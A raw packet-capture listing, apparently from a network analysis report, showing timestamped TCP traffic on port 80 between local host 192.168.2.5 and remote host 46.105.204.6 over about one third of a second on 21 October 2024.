                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010541916 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010554075 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010564089 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010592937 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010601044 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010607004 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010616064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010672092 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010907888 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010926962 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.010962009 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048759937 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048805952 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048816919 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048829079 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048840046 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048851967 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048855066 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048890114 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.048909903 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049067020 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049079895 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049091101 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049124002 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049305916 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049318075 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049329042 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049340963 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049365997 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049401999 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049412966 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049423933 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049446106 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049794912 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049806118 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.049833059 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077378035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077394009 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077404976 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077429056 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077452898 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077622890 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077636003 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077646971 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077656984 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077667952 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077678919 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077680111 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077693939 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077703953 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.077723980 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078280926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078309059 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078376055 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078387976 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078397989 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078408957 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078425884 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078425884 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078437090 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078454018 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078465939 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078474045 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078478098 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078491926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078502893 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078519106 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.078527927 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.079000950 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.079013109 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.079021931 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.079056025 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.079068899 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.079080105 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.120624065 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.120642900 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.120655060 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.120686054 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.120718002 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126837015 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126853943 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126866102 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126877069 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126889944 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126900911 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126919985 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126950979 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126964092 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.126971006 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127036095 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127228975 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127264023 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127274990 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127304077 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127325058 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127353907 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127398968 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127414942 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127427101 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127437115 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127466917 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127804041 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127815008 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127825975 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127854109 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.127865076 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.128798962 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.128824949 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.128835917 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.128843069 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.128870010 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.165978909 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.165997028 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166009903 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166064024 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166070938 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166084051 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166095972 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166109085 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166110039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166136980 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166191101 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166227102 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166424036 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166435003 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166469097 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166548967 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166559935 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166579008 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166589975 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166594982 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166604042 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166620016 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166969061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.166980028 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.167013884 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194375992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194417000 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194427967 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194437027 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194473028 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194513083 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194524050 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194533110 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194545984 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194555998 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194576979 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194626093 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194664001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194703102 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194777966 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194789886 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194801092 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194823980 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194940090 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194952011 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.194983959 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195151091 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195190907 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195200920 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195405006 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195439100 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195450068 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195461988 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195472002 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195493937 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195549965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195584059 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195615053 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195677042 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195710897 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195722103 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195733070 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195768118 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195770979 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195782900 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.195827007 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196132898 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196145058 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196155071 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196172953 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196331024 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196342945 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196353912 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196365118 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.196387053 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.237631083 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.237665892 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.237673998 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.237907887 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.243920088 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.243933916 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.243943930 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.243956089 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.243982077 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244000912 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244007111 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244019985 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244060040 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244072914 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244085073 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244095087 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244106054 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244117022 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244118929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244133949 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244158983 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244566917 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244587898 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244599104 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244625092 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244683027 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244693995 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244704008 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244714975 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244725943 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244746923 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244926929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244937897 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244947910 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244965076 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244976997 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.244991064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283198118 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283212900 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283220053 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283229113 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283236027 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283242941 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283299923 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283312082 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283478975 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283478975 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283548117 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283560038 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283570051 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283695936 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283695936 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283726931 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283740044 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283751965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283763885 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283772945 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283798933 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283958912 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283970118 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.283979893 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.284003019 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311667919 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311686039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311692953 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311697960 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311703920 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311709881 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311815977 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311821938 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311856985 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311867952 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311908960 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311920881 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311930895 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311969995 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311969995 CEST4970480192.168.2.546.105.204.6
